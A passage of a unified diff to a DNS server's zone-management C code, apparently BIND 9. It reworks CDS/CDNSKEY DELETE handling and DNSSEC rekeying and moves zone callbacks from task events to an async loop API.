 	if (result == ISC_R_SUCCESS) {
-		bool cds_delete = false;
+		dns_kasp_digestlist_t digests;
+		bool cdsdel = false;
+		bool cdnskeydel = false;
+		bool cdnskeypub = true;
+		bool sane_diff, sane_dnskey;
 		isc_stdtime_t when;
 
 		/*
 		 * Publish CDS/CDNSKEY DELETE records if the zone is
 		 * transitioning from secure to insecure.
 		 */
-		if (kasp != NULL &&
-		    strcmp(dns_kasp_getname(kasp), "insecure") == 0) {
-			cds_delete = true;
+		if (kasp != NULL) {
+			if (strcmp(dns_kasp_getname(kasp), "insecure") == 0) {
+				cdsdel = true;
+				cdnskeydel = true;
+			}
+			digests = dns_kasp_digests(kasp);
+			cdnskeypub = dns_kasp_cdnskey(kasp);
+		} else {
+			/* Check if there is a CDS DELETE record. */
+			if (dns_rdataset_isassociated(&cdsset)) {
+				for (result = dns_rdataset_first(&cdsset);
+				     result == ISC_R_SUCCESS;
+				     result = dns_rdataset_next(&cdsset))
+				{
+					dns_rdata_t crdata = DNS_RDATA_INIT;
+					dns_rdataset_current(&cdsset, &crdata);
+					/*
+					 * CDS deletion record has this form
+					 * "0 0 0 00" which is 5 zero octets.
+					 */
+					if (crdata.length == 5U &&
+					    memcmp(crdata.data,
+						   (unsigned char[5]){ 0, 0, 0,
+								       0, 0 },
+						   5) == 0)
+					{
+						cdsdel = true;
+						break;
+					}
+				}
+			}
+
+			/* Check if there is a CDNSKEY DELETE record. */
+			if (dns_rdataset_isassociated(&cdnskeyset)) {
+				for (result = dns_rdataset_first(&cdnskeyset);
+				     result == ISC_R_SUCCESS;
+				     result = dns_rdataset_next(&cdnskeyset))
+				{
+					dns_rdata_t crdata = DNS_RDATA_INIT;
+					dns_rdataset_current(&cdnskeyset,
+							     &crdata);
+					/*
+					 * CDNSKEY deletion record has this form
+					 * "0 3 0 AA==" which is 2 zero octets,
+					 * a 3, and 2 zero octets.
+					 */
+					if (crdata.length == 5U &&
+					    memcmp(crdata.data,
+						   (unsigned char[5]){ 0, 0, 3,
+								       0, 0 },
+						   5) == 0)
+					{
+						cdnskeydel = true;
+						break;
+					}
+				}
+			}
+
+			digests = dns_kasp_digests(zone->defaultkasp);
 		}
 
 		/*
@@ -20200,8 +21287,8 @@ zone_rekey(dns_zone_t *zone) {
 		 * Update CDS / CDNSKEY records.
 		 */
 		result = dns_dnssec_syncupdate(&dnskeys, &rmkeys, &cdsset,
-					       &cdnskeyset, now, ttl, &diff,
-					       mctx);
+					       &cdnskeyset, now, &digests,
+					       cdnskeypub, ttl, &diff, mctx);
 		if (result != ISC_R_SUCCESS) {
 			dnssec_log(zone, ISC_LOG_ERROR,
 				   "zone_rekey:couldn't update CDS/CDNSKEY: %s",
@@ -20209,36 +21296,37 @@ zone_rekey(dns_zone_t *zone) {
 			goto failure;
 		}
 
-		if (cds_delete) {
+		if (cdsdel || cdnskeydel) {
 			/*
 			 * Only publish CDS/CDNSKEY DELETE records if there is
 			 * a KSK that can be used to verify the RRset. This
 			 * means there must be a key with the KSK role that is
 			 * published and is used for signing.
 			 */
-			cds_delete = false;
+			bool allow = false;
 			for (key = ISC_LIST_HEAD(dnskeys); key != NULL;
-			     key = ISC_LIST_NEXT(key, link)) {
+			     key = ISC_LIST_NEXT(key, link))
+			{
 				dst_key_t *dstk = key->key;
-				bool ksk = false;
-				(void)dst_key_getbool(dstk, DST_BOOL_KSK, &ksk);
-				if (!ksk) {
-					continue;
-				}
 
-				if (dst_key_haskasp(dstk) &&
-				    dst_key_is_published(dstk, now, &when) &&
+				if (dst_key_is_published(dstk, now, &when) &&
 				    dst_key_is_signing(dstk, DST_BOOL_KSK, now,
 						       &when))
 				{
-					cds_delete = true;
+					allow = true;
 					break;
 				}
 			}
+			if (cdsdel) {
+				cdsdel = allow;
+			}
+			if (cdnskeydel) {
+				cdnskeydel = allow;
+			}
 		}
-		result = dns_dnssec_syncdelete(&cdsset, &cdnskeyset,
-					       &zone->origin, zone->rdclass,
-					       ttl, &diff, mctx, cds_delete);
+		result = dns_dnssec_syncdelete(
+			&cdsset, &cdnskeyset, &zone->origin, zone->rdclass, ttl,
+			&diff, mctx, cdsdel, cdnskeydel);
 		if (result != ISC_R_SUCCESS) {
 			dnssec_log(zone, ISC_LOG_ERROR,
 				   "zone_rekey:couldn't update CDS/CDNSKEY "
@@ -20255,7 +21343,8 @@ zone_rekey(dns_zone_t *zone) {
 		 * the zone signing can be handled incrementally.)
 		 */
 		for (key = ISC_LIST_HEAD(dnskeys); key != NULL;
-		     key = ISC_LIST_NEXT(key, link)) {
+		     key = ISC_LIST_NEXT(key, link))
+		{
 			if (!key->first_sign) {
 				continue;
 			}
@@ -20280,9 +21369,21 @@ zone_rekey(dns_zone_t *zone) {
 			}
 		}
 
-		if ((newactive || fullsign || !ISC_LIST_EMPTY(diff.tuples)) &&
-		    dnskey_sane(zone, db, ver, &diff))
-		{
+		/*
+		 * A sane diff is one that is not empty, and that does not
+		 * introduce a zone with NSEC only DNSKEYs along with NSEC3
+		 * chains.
+		 */
+		sane_dnskey = dns_zone_check_dnskey_nsec3(zone, db, ver, &diff,
+							  NULL, 0);
+		sane_diff = !ISC_LIST_EMPTY(diff.tuples) && sane_dnskey;
+		if (!sane_dnskey) {
+			dnssec_log(zone, ISC_LOG_ERROR,
+				   "NSEC only DNSKEYs and NSEC3 chains not "
+				   "allowed");
+		}
+
+		if (newactive || fullsign || sane_diff) {
 			CHECK(dns_diff_apply(&diff, db, ver));
 			CHECK(clean_nsec3param(zone, db, ver, &diff));
 			CHECK(add_signing_records(db, zone->privatetype, ver,
@@ -20303,6 +21404,8 @@ zone_rekey(dns_zone_t *zone) {
 
 	if (commit) {
 		dns_difftuple_t *tuple;
+		dns_stats_t *dnssecsignstats =
+			dns_zone_getdnssecsignstats(zone);
 
 		DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_NEEDNOTIFY);
 
@@ -20313,7 +21416,8 @@ zone_rekey(dns_zone_t *zone) {
 		/* Remove any signatures from removed keys.  */
 		if (!ISC_LIST_EMPTY(rmkeys)) {
 			for (key = ISC_LIST_HEAD(rmkeys); key != NULL;
-			     key = ISC_LIST_NEXT(key, link)) {
+			     key = ISC_LIST_NEXT(key, link))
+			{
 				result = zone_signwithkey(
 					zone, dst_key_alg(key->key),
 					dst_key_id(key->key), true);
@@ -20321,7 +21425,23 @@ zone_rekey(dns_zone_t *zone) {
 					dnssec_log(zone, ISC_LOG_ERROR,
 						   "zone_signwithkey failed: "
 						   "%s",
-						   dns_result_totext(result));
+						   isc_result_totext(result));
+				}
+
+				/* Clear DNSSEC sign statistics. */
+				if (dnssecsignstats != NULL) {
+					dns_dnssecsignstats_clear(
+						dnssecsignstats,
+						dst_key_id(key->key),
+						dst_key_alg(key->key));
+					/*
+					 * Also clear the dnssec-sign
+					 * statistics of the revoked key id.
+					 */
+					dns_dnssecsignstats_clear(
+						dnssecsignstats,
+						dst_key_rid(key->key),
+						dst_key_alg(key->key));
 				}
 			}
 		}
@@ -20332,7 +21452,8 @@ zone_rekey(dns_zone_t *zone) {
 			 * with all active keys, whether they're new or not.
 			 */
 			for (key = ISC_LIST_HEAD(dnskeys); key != NULL;
-			     key = ISC_LIST_NEXT(key, link)) {
+			     key = ISC_LIST_NEXT(key, link))
+			{
 				if (!key->force_sign && !key->hint_sign) {
 					continue;
 				}
@@ -20344,7 +21465,7 @@ zone_rekey(dns_zone_t *zone) {
 					dnssec_log(zone, ISC_LOG_ERROR,
 						   "zone_signwithkey failed: "
 						   "%s",
-						   dns_result_totext(result));
+						   isc_result_totext(result));
 				}
 			}
 		} else if (newalg) {
@@ -20355,7 +21476,8 @@ zone_rekey(dns_zone_t *zone) {
 			 * keys.
 			 */
 			for (key = ISC_LIST_HEAD(dnskeys); key != NULL;
-			     key = ISC_LIST_NEXT(key, link)) {
+			     key = ISC_LIST_NEXT(key, link))
+			{
 				if (!key->first_sign) {
 					continue;
 				}
@@ -20367,7 +21489,7 @@ zone_rekey(dns_zone_t *zone) {
 					dnssec_log(zone, ISC_LOG_ERROR,
 						   "zone_signwithkey failed: "
 						   "%s",
-						   dns_result_totext(result));
+						   isc_result_totext(result));
 				}
 			}
 		}
@@ -20390,12 +21512,14 @@ zone_rekey(dns_zone_t *zone) {
 			dns_rdata_nsec3param_t nsec3param;
 
 			if (tuple->rdata.type != zone->privatetype ||
-			    tuple->op != DNS_DIFFOP_ADD) {
+			    tuple->op != DNS_DIFFOP_ADD)
+			{
 				continue;
 			}
 
 			if (!dns_nsec3param_fromprivate(&tuple->rdata, &rdata,
-							buf, sizeof(buf))) {
+							buf, sizeof(buf)))
+			{
 				continue;
 			}
 
@@ -20409,7 +21533,7 @@ zone_rekey(dns_zone_t *zone) {
 			if (result != ISC_R_SUCCESS) {
 				dnssec_log(zone, ISC_LOG_ERROR,
 					   "zone_addnsec3chain failed: %s",
-					   dns_result_totext(result));
+					   isc_result_totext(result));
 			}
 		}
 
@@ -20471,7 +21595,8 @@ zone_rekey(dns_zone_t *zone) {
 		zone->refreshkeytime = timethen;
 
 		for (key = ISC_LIST_HEAD(dnskeys); key != NULL;
-		     key = ISC_LIST_NEXT(key, link)) {
+		     key = ISC_LIST_NEXT(key, link))
+		{
 			then = now;
 			result = next_keyevent(key->key, &then);
 			if (result != ISC_R_SUCCESS) {
@@ -20480,7 +21605,8 @@ zone_rekey(dns_zone_t *zone) {
 
 			DNS_ZONE_TIME_ADD(&timenow, then - now, &timethen);
 			if (isc_time_compare(&timethen, &zone->refreshkeytime) <
-			    0) {
+			    0)
+			{
 				zone->refreshkeytime = timethen;
 			}
 		}
@@ -20494,7 +21620,8 @@ zone_rekey(dns_zone_t *zone) {
 
 	if (isc_log_wouldlog(dns_lctx, ISC_LOG_DEBUG(3))) {
 		for (key = ISC_LIST_HEAD(dnskeys); key != NULL;
-		     key = ISC_LIST_NEXT(key, link)) {
+		     key = ISC_LIST_NEXT(key, link))
+		{
 			/* This debug log is used in the kasp system test */
 			char algbuf[DNS_SECALG_FORMATSIZE];
 			dns_secalg_format(dst_key_alg(key->key), algbuf,
@@ -20563,14 +21690,14 @@ void
 dns_zone_rekey(dns_zone_t *zone, bool fullsign) {
 	isc_time_t now;
 
-	if (zone->type == dns_zone_master && zone->task != NULL) {
+	if (zone->type == dns_zone_primary && zone->loop != NULL) {
 		LOCK_ZONE(zone);
 
 		if (fullsign) {
 			DNS_ZONEKEY_SETOPTION(zone, DNS_ZONEKEY_FULLSIGN);
 		}
 
-		TIME_NOW(&now);
+		now = isc_time_now();
 		zone->refreshkeytime = now;
 		zone_settimer(zone, &now);
 
@@ -20601,7 +21728,6 @@ dns_zone_cdscheck(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *version) {
 	isc_result_t result;
 	dns_dbnode_t *node = NULL;
 	dns_rdataset_t dnskey, cds, cdnskey;
-	unsigned char buffer[DNS_DS_BUFFERSIZE];
 	unsigned char algorithms[256];
 	unsigned int i;
 	bool empty = false;
@@ -20632,7 +21758,8 @@ dns_zone_cdscheck(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *version) {
 	}
 
 	if (!dns_rdataset_isassociated(&cds) &&
-	    !dns_rdataset_isassociated(&cdnskey)) {
+	    !dns_rdataset_isassociated(&cdnskey))
+	{
 		result = ISC_R_SUCCESS;
 		goto failure;
 	}
@@ -20686,15 +21813,14 @@ dns_zone_cdscheck(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *version) {
 			     result = dns_rdataset_next(&dnskey))
 			{
 				dns_rdata_t rdata = DNS_RDATA_INIT;
-				dns_rdata_t dsrdata = DNS_RDATA_INIT;
+				dns_rdata_dnskey_t structdnskey;
 
 				dns_rdataset_current(&dnskey, &rdata);
-				CHECK(dns_ds_buildrdata(&zone->origin, &rdata,
-							structcds.digest_type,
-							buffer, &dsrdata));
-				if (crdata.length == dsrdata.length &&
-				    memcmp(crdata.data, dsrdata.data,
-					   dsrdata.length) == 0)
+				CHECK(dns_rdata_tostruct(&rdata, &structdnskey,
+							 NULL));
+
+				if (structdnskey.algorithm ==
+				    structcds.algorithm)
 				{
 					algorithms[structcds.algorithm] = found;
 				}
@@ -20760,11 +21886,14 @@ dns_zone_cdscheck(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *version) {
 			     result = dns_rdataset_next(&dnskey))
 			{
 				dns_rdata_t rdata = DNS_RDATA_INIT;
+				dns_rdata_dnskey_t structdnskey;
 
 				dns_rdataset_current(&dnskey, &rdata);
-				if (crdata.length == rdata.length &&
-				    memcmp(crdata.data, rdata.data,
-					   rdata.length) == 0)
+				CHECK(dns_rdata_tostruct(&rdata, &structdnskey,
+							 NULL));
+
+				if (structdnskey.algorithm ==
+				    structcdnskey.algorithm)
 				{
 					algorithms[structcdnskey.algorithm] =
 						found;
@@ -20838,7 +21967,7 @@ dns_zone_dlzpostload(dns_zone_t *zone, dns_db_t *db) {
 	isc_result_t result;
 	dns_zone_t *secure = NULL;
 
-	TIME_NOW(&loadtime);
+	loadtime = isc_time_now();
 
 	/*
 	 * Lock hierarchy: zmgr, zone, raw.
@@ -20936,19 +22065,16 @@ dns_zone_getserialupdatemethod(dns_zone_t *zone) {
  */
 isc_result_t
 dns_zone_link(dns_zone_t *zone, dns_zone_t *raw) {
-	isc_result_t result;
 	dns_zonemgr_t *zmgr;
 
 	REQUIRE(DNS_ZONE_VALID(zone));
 	REQUIRE(zone->zmgr != NULL);
-	REQUIRE(zone->task != NULL);
-	REQUIRE(zone->loadtask != NULL);
+	REQUIRE(zone->loop != NULL);
 	REQUIRE(zone->raw == NULL);
 
 	REQUIRE(DNS_ZONE_VALID(raw));
 	REQUIRE(raw->zmgr == NULL);
-	REQUIRE(raw->task == NULL);
-	REQUIRE(raw->loadtask == NULL);
+	REQUIRE(raw->loop == NULL);
 	REQUIRE(raw->secure == NULL);
 
 	REQUIRE(zone != raw);
@@ -20961,37 +22087,23 @@ dns_zone_link(dns_zone_t *zone, dns_zone_t *raw) {
 	LOCK_ZONE(zone);
 	LOCK_ZONE(raw);
 
-	result = isc_timer_create(zmgr->timermgr, isc_timertype_inactive, NULL,
-				  NULL, zone->task, zone_timer, raw,
-				  &raw->timer);
-	if (result != ISC_R_SUCCESS) {
-		goto unlock;
-	}
-
-	/*
-	 * The timer "holds" a iref.
-	 */
-	isc_refcount_increment0(&raw->irefs);
+	isc_loop_attach(zone->loop, &raw->loop);
 
 	/* dns_zone_attach(raw, &zone->raw); */
-	isc_refcount_increment(&raw->erefs);
+	isc_refcount_increment(&raw->references);
 	zone->raw = raw;
 
-	/* dns_zone_iattach(zone,  &raw->secure); */
+	/* dns_zone_iattach(zone, &raw->secure); */
 	zone_iattach(zone, &raw->secure);
 
-	isc_task_attach(zone->task, &raw->task);
-	isc_task_attach(zone->loadtask, &raw->loadtask);
-
 	ISC_LIST_APPEND(zmgr->zones, raw, link);
 	raw->zmgr = zmgr;
 	isc_refcount_increment(&zmgr->refs);
 
-unlock:
 	UNLOCK_ZONE(raw);
 	UNLOCK_ZONE(zone);
 	RWUNLOCK(&zmgr->rwlock, isc_rwlocktype_write);
-	return (result);
+	return (ISC_R_SUCCESS);
 }
 
 void
@@ -21007,33 +22119,49 @@ dns_zone_getraw(dns_zone_t *zone, dns_zone_t **raw) {
 	UNLOCK(&zone->lock);
 }
 
+bool
+dns_zone_israw(dns_zone_t *zone) {
+	bool israw;
+	REQUIRE(DNS_ZONE_VALID(zone));
+	LOCK(&zone->lock);
+	israw = zone->secure != NULL;
+	UNLOCK(&zone->lock);
+	return (israw);
+}
+
+bool
+dns_zone_issecure(dns_zone_t *zone) {
+	bool issecure;
+	REQUIRE(DNS_ZONE_VALID(zone));
+	LOCK(&zone->lock);
+	issecure = zone->raw != NULL;
+	UNLOCK(&zone->lock);
+	return (issecure);
+}
+
 struct keydone {
-	isc_event_t event;
 	bool all;
 	unsigned char data[5];
+	dns_zone_t *zone;
 };
 
 #define PENDINGFLAGS (DNS_NSEC3FLAG_CREATE | DNS_NSEC3FLAG_INITIAL)
 
 static void
-keydone(isc_task_t *task, isc_event_t *event) {
-	const char *me = "keydone";
+keydone(void *arg) {
 	bool commit = false;
 	isc_result_t result;
 	dns_rdata_t rdata = DNS_RDATA_INIT;
 	dns_dbversion_t *oldver = NULL, *newver = NULL;
-	dns_zone_t *zone;
 	dns_db_t *db = NULL;
 	dns_dbnode_t *node = NULL;
 	dns_rdataset_t rdataset;
 	dns_diff_t diff;
-	struct keydone *kd = (struct keydone *)event;
+	struct keydone *kd = (struct keydone *)arg;
+	dns_zone_t *zone = kd->zone;
 	dns_update_log_t log = { update_log_cb, NULL };
 	bool clear_pending = false;
 
-	UNUSED(task);
-
-	zone = event->ev_arg;
 	INSIST(DNS_ZONE_VALID(zone));
 
 	ENTER;
@@ -21055,7 +22183,7 @@ keydone(isc_task_t *task, isc_event_t *event) {
 	if (result != ISC_R_SUCCESS) {
 		dnssec_log(zone, ISC_LOG_ERROR,
 			   "keydone:dns_db_newversion -> %s",
-			   dns_result_totext(result));
+			   isc_result_totext(result));
 		goto failure;
 	}
 
@@ -21088,12 +22216,14 @@ keydone(isc_task_t *task, isc_event_t *event) {
 			{
 				found = true;
 			} else if (rdata.data[0] == 0 &&
-				   (rdata.data[2] & PENDINGFLAGS) != 0) {
+				   (rdata.data[2] & PENDINGFLAGS) != 0)
+			{
 				found = true;
 				clear_pending = true;
 			}
 		} else if (rdata.length == 5 &&
-			   memcmp(rdata.data, kd->data, 5) == 0) {
+			   memcmp(rdata.data, kd->data, 5) == 0)
+		{
 			found = true;
 		}
 
@@ -21144,7 +22274,7 @@ keydone(isc_task_t *task, isc_event_t *event) {
 		dns_db_detach(&db);
 	}
 	dns_diff_clear(&diff);
-	isc_event_free(&event);
+	isc_mem_put(zone->mctx, kd, sizeof(*kd));
 	dns_zone_idetach(&zone);
 
 	INSIST(oldver == NULL);
@@ -21154,30 +22284,25 @@ keydone(isc_task_t *task, isc_event_t *event) {
 isc_result_t
 dns_zone_keydone(dns_zone_t *zone, const char *keystr) {
 	isc_result_t result = ISC_R_SUCCESS;
-	isc_event_t *e;
+	struct keydone *kd = NULL;
 	isc_buffer_t b;
-	dns_zone_t *dummy = NULL;
-	struct keydone *kd;
 
 	REQUIRE(DNS_ZONE_VALID(zone));
 
 	LOCK_ZONE(zone);
 
-	e = isc_event_allocate(zone->mctx, zone, DNS_EVENT_KEYDONE, keydone,
-			       zone, sizeof(struct keydone));
+	kd = isc_mem_get(zone->mctx, sizeof(*kd));
+	*kd = (struct keydone){ .all = false };
 
-	kd = (struct keydone *)e;
 	if (strcasecmp(keystr, "all") == 0) {
 		kd->all = true;
 	} else {
 		isc_textregion_t r;
-		const char *algstr;
+		const char *algstr = NULL;
 		dns_keytag_t keyid;
 		dns_secalg_t alg;
 		size_t n;
 
-		kd->all = false;
-
 		n = sscanf(keystr, "%hu/", &keyid);
 		if (n == 0U) {
 			CHECK(ISC_R_FAILURE);
@@ -21192,7 +22317,7 @@ dns_zone_keydone(dns_zone_t *zone, const char *keystr) {
 
 		n = sscanf(algstr, "%hhu", &alg);
 		if (n == 0U) {
-			DE_CONST(algstr, r.base);
+			r.base = UNCONST(algstr);
 			r.length = strlen(algstr);
 			CHECK(dns_secalg_fromtext(&alg, &r));
 		}
@@ -21206,60 +22331,61 @@ dns_zone_keydone(dns_zone_t *zone, const char *keystr) {
 		isc_buffer_putuint8(&b, 1);
 	}
 
-	zone_iattach(zone, &dummy);
-	isc_task_send(zone->task, &e);
+	zone_iattach(zone, &kd->zone);
+	isc_async_run(zone->loop, keydone, kd);
+	kd = NULL;
 
 failure:
-	if (e != NULL) {
-		isc_event_free(&e);
+	if (kd != NULL) {
+		isc_mem_put(zone->mctx, kd, sizeof(*kd));
 	}
 	UNLOCK_ZONE(zone);
 	return (result);
 }
 
 /*
- * Called from the zone task's queue after the relevant event is posted by
+ * Called from the zone loop's queue after the relevant event is posted by
  * dns_zone_setnsec3param().
  */
 static void
-setnsec3param(isc_task_t *task, isc_event_t *event) {
-	const char *me = "setnsec3param";
-	dns_zone_t *zone = event->ev_arg;
+setnsec3param(void *arg) {
+	struct np3 *npe = (struct np3 *)arg;
+	dns_zone_t *zone = npe->zone;
+	bool loadpending;
 
 	INSIST(DNS_ZONE_VALID(zone));
 
-	UNUSED(task);
-
 	ENTER;
 
+	LOCK_ZONE(zone);
+	loadpending = DNS_ZONE_FLAG(zone, DNS_ZONEFLG_LOADPENDING);
+	UNLOCK_ZONE(zone);
+
 	/*
-	 * If receive_secure_serial is still processing or we have a
-	 * queued event append rss_post queue.
+	 * The receive_secure_serial() and setnsec3param() calls are
+	 * loop-serialized for the zone. Make sure there's no processing
+	 * currently running.
 	 */
-	if (zone->rss_newver != NULL || ISC_LIST_HEAD(zone->rss_post) != NULL) {
-		/*
-		 * Wait for receive_secure_serial() to finish processing.
-		 */
-		ISC_LIST_APPEND(zone->rss_post, event, ev_link);
-	} else {
-		bool rescheduled = false;
-		ZONEDB_LOCK(&zone->dblock, isc_rwlocktype_read);
-		/*
-		 * The zone is not yet fully loaded. Reschedule the event to
-		 * be picked up later. This turns this function into a busy
-		 * wait, but it only happens at startup.
-		 */
-		if (zone->db == NULL) {
-			rescheduled = true;
-			isc_task_send(task, &event);
-		}
-		ZONEDB_UNLOCK(&zone->dblock, isc_rwlocktype_read);
-		if (rescheduled) {
-			return;
-		}
+	INSIST(zone->rss_newver == NULL);
 
-		rss_post(zone, event);
+	bool rescheduled = false;
+	ZONEDB_LOCK(&zone->dblock, isc_rwlocktype_read);
+	/*
+	 * The zone is not yet fully loaded. Reschedule the event to
+	 * be picked up later. This turns this function into a busy
+	 * wait, but it only happens at startup.
+	 */
+	if (zone->db == NULL && loadpending) {
+		rescheduled = true;
+		isc_async_run(zone->loop, setnsec3param, npe);
+	}
+	ZONEDB_UNLOCK(&zone->dblock, isc_rwlocktype_read);
+	if (rescheduled) {
+		return;
 	}
+
+	rss_post(npe);
+
 	dns_zone_idetach(&zone);
 }
 
@@ -21289,8 +22415,10 @@ salt2text(unsigned char *salt, uint8_t saltlen, unsigned char *text,
  * resume_addnsec3chain().
  */
 static void
-rss_post(dns_zone_t *zone, isc_event_t *event) {
-	const char *me = "rss_post";
+rss_post(void *arg) {
+	struct np3 *npe = (struct np3 *)arg;
+	dns_zone_t *zone = npe->zone;
+	nsec3param_t *np = &npe->params;
 	bool commit = false;
 	isc_result_t result;
 	dns_dbversion_t *oldver = NULL, *newver = NULL;
@@ -21298,8 +22426,6 @@ rss_post(dns_zone_t *zone, isc_event_t *event) {
 	dns_dbnode_t *node = NULL;
 	dns_rdataset_t prdataset, nrdataset;
 	dns_diff_t diff;
-	struct np3event *npe = (struct np3event *)event;
-	nsec3param_t *np;
 	dns_update_log_t log = { update_log_cb, NULL };
 	dns_rdata_t rdata;
 	bool nseconly;
@@ -21307,8 +22433,6 @@ rss_post(dns_zone_t *zone, isc_event_t *event) {
 
 	ENTER;
 
-	np = &npe->params;
-
 	dns_rdataset_init(&prdataset);
 	dns_rdataset_init(&nrdataset);
 	dns_diff_init(zone->mctx, &diff);
@@ -21327,7 +22451,7 @@ rss_post(dns_zone_t *zone, isc_event_t *event) {
 	if (result != ISC_R_SUCCESS) {
 		dnssec_log(zone, ISC_LOG_ERROR,
 			   "setnsec3param:dns_db_newversion -> %s",
-			   dns_result_totext(result));
+			   isc_result_totext(result));
 		goto failure;
 	}
 
@@ -21394,7 +22518,8 @@ rss_post(dns_zone_t *zone, isc_event_t *event) {
 			dns_rdataset_current(&prdataset, &rdata);
 
 			if (np->length == rdata.length &&
-			    memcmp(rdata.data, np->data, np->length) == 0) {
+			    memcmp(rdata.data, np->data, np->length) == 0)
+			{
 				exists = true;
 				break;
 			}
@@ -21454,7 +22579,7 @@ rss_post(dns_zone_t *zone, isc_event_t *event) {
 		dns_rdata_init(&rdata);
 
 		np->data[2] |= DNS_NSEC3FLAG_CREATE;
-		result = dns_nsec_nseconly(db, newver, &nseconly);
+		result = dns_nsec_nseconly(db, newver, NULL, &nseconly);
 		if (result == ISC_R_NOTFOUND || nseconly) {
 			np->data[2] |= DNS_NSEC3FLAG_INITIAL;
 		}
@@ -21516,7 +22641,7 @@ rss_post(dns_zone_t *zone, isc_event_t *event) {
 		UNLOCK_ZONE(zone);
 	}
 	dns_diff_clear(&diff);
-	isc_event_free(&event);
+	isc_mem_put(zone->mctx, npe, sizeof(*npe));
 
 	INSIST(oldver == NULL);
 	INSIST(newver == NULL);
@@ -21562,7 +22687,7 @@ dns__zone_lookup_nsec3param(dns_zone_t *zone, dns_rdata_nsec3param_t *lookup,
 		dns_zone_log(zone, ISC_LOG_ERROR,
 			     "dns__zone_lookup_nsec3param:"
 			     "dns_db_findnode -> %s",
-			     dns_result_totext(result));
+			     isc_result_totext(result));
 		result = ISC_R_FAILURE;
 		goto setparam;
 	}
@@ -21577,7 +22702,7 @@ dns__zone_lookup_nsec3param(dns_zone_t *zone, dns_rdata_nsec3param_t *lookup,
 			dns_zone_log(zone, ISC_LOG_ERROR,
 				     "dns__zone_lookup_nsec3param:"
 				     "dns_db_findrdataset -> %s",
-				     dns_result_totext(result));
+				     isc_result_totext(result));
 		}
 		goto setparam;
 	}
@@ -21602,7 +22727,8 @@ dns__zone_lookup_nsec3param(dns_zone_t *zone, dns_rdata_nsec3param_t *lookup,
 		}
 		if (lookup->salt != NULL) {
 			if (memcmp(nsec3param.salt, lookup->salt,
-				   lookup->salt_length) != 0) {
+				   lookup->salt_length) != 0)
+			{
 				continue;
 			}
 		}
@@ -21635,7 +22761,7 @@ dns__zone_lookup_nsec3param(dns_zone_t *zone, dns_rdata_nsec3param_t *lookup,
 	}
 
 	if (param->salt_length == 0) {
-		DE_CONST("-", param->salt);
+		param->salt = (unsigned char *)"-";
 	} else if (resalt || param->salt == NULL) {
 		unsigned char *newsalt;
 		unsigned char salttext[255 * 2 + 1];
@@ -21700,7 +22826,7 @@ dns__zone_lookup_nsec3param(dns_zone_t *zone, dns_rdata_nsec3param_t *lookup,
  *     in the "data" field of the nsec3param_t structure.
  *
  * Once the nsec3param_t structure is prepared, post an event to the zone's
- * task which will cause setnsec3param() to be called with the prepared
+ * loop which will cause setnsec3param() to be called with the prepared
  * structure passed as an argument.
  */
 isc_result_t
@@ -21713,11 +22839,9 @@ dns_zone_setnsec3param(dns_zone_t *zone, uint8_t hash, uint8_t flags,
 	dns_rdata_t prdata = DNS_RDATA_INIT;
 	unsigned char nbuf[DNS_NSEC3PARAM_BUFFERSIZE];
 	unsigned char saltbuf[255];
-	struct np3event *npe;
-	nsec3param_t *np;
-	dns_zone_t *dummy = NULL;
+	struct np3 *npe = NULL;
+	nsec3param_t *np = NULL;
 	isc_buffer_t b;
-	isc_event_t *e = NULL;
 	bool do_lookup = false;
 
 	REQUIRE(DNS_ZONE_VALID(zone));
@@ -21725,8 +22849,8 @@ dns_zone_setnsec3param(dns_zone_t *zone, uint8_t hash, uint8_t flags,
 	LOCK_ZONE(zone);
 
 	/*
-	 * First check if the requested NSEC3 parameters are already set,
-	 * if so, no need to set again.
+	 * First check if the requested NSEC3 parameters are already
+	 * set, if so, no need to set again.
 	 */
 	if (hash != 0) {
 		lookup.hash = hash;
@@ -21742,22 +22866,25 @@ dns_zone_setnsec3param(dns_zone_t *zone, uint8_t hash, uint8_t flags,
 			return (ISC_R_SUCCESS);
 		}
 		/*
-		 * Schedule lookup if lookup above failed (may happen if zone
-		 * db is NULL for example).
+		 * Schedule lookup if lookup above failed (may happen if
+		 * zone db is NULL for example).
 		 */
 		do_lookup = (param.salt == NULL) ? true : false;
 	}
 
-	e = isc_event_allocate(zone->mctx, zone, DNS_EVENT_SETNSEC3PARAM,
-			       setnsec3param, zone, sizeof(struct np3event));
+	npe = isc_mem_get(zone->mctx, sizeof(*npe));
+	*npe = (struct np3){
+		.link = ISC_LINK_INITIALIZER,
+	};
 
-	npe = (struct np3event *)e;
 	np = &npe->params;
-	np->replace = replace;
-	np->resalt = resalt;
-	np->lookup = do_lookup;
+	*np = (struct nsec3param){
+		.replace = replace,
+		.resalt = resalt,
+		.lookup = do_lookup,
+	};
+
 	if (hash == 0) {
-		np->length = 0;
 		np->nsec = true;
 		dnssec_log(zone, ISC_LOG_DEBUG(3), "setnsec3param:nsec");
 	} else {
@@ -21765,7 +22892,10 @@ dns_zone_setnsec3param(dns_zone_t *zone, uint8_t hash, uint8_t flags,
 		param.common.rdtype = dns_rdatatype_nsec3param;
 		ISC_LINK_INIT(&param.common, link);
 		param.mctx = NULL;
-		/* nsec3 specific param set in dns__zone_lookup_nsec3param() */
+		/*
+		 * nsec3 specific param set in
+		 * dns__zone_lookup_nsec3param()
+		 */
 		isc_buffer_init(&b, nbuf, sizeof(nbuf));
 
 		if (param.salt != NULL) {
@@ -21779,7 +22909,6 @@ dns_zone_setnsec3param(dns_zone_t *zone, uint8_t hash, uint8_t flags,
 		}
 
 		np->rdata = param;
-		np->nsec = false;
 
 		if (isc_log_wouldlog(dns_lctx, ISC_LOG_DEBUG(3))) {
 			unsigned char salttext[255 * 2 + 1];
@@ -21797,29 +22926,25 @@ dns_zone_setnsec3param(dns_zone_t *zone, uint8_t hash, uint8_t flags,
 	}
 
 	/*
-	 * setnsec3param() will silently return early if the zone does not yet
-	 * have a database.  Prevent that by queueing the event up if zone->db
-	 * is NULL.  All events queued here are subsequently processed by
-	 * receive_secure_db() if it ever gets called or simply freed by
-	 * zone_free() otherwise.
+	 * setnsec3param() will silently return early if the zone does
+	 * not yet have a database.  Prevent that by queueing the event
+	 * up if zone->db is NULL.  All events queued here are
+	 * subsequently processed by receive_secure_db() if it ever gets
+	 * called or simply freed by zone_free() otherwise.
 	 */
 
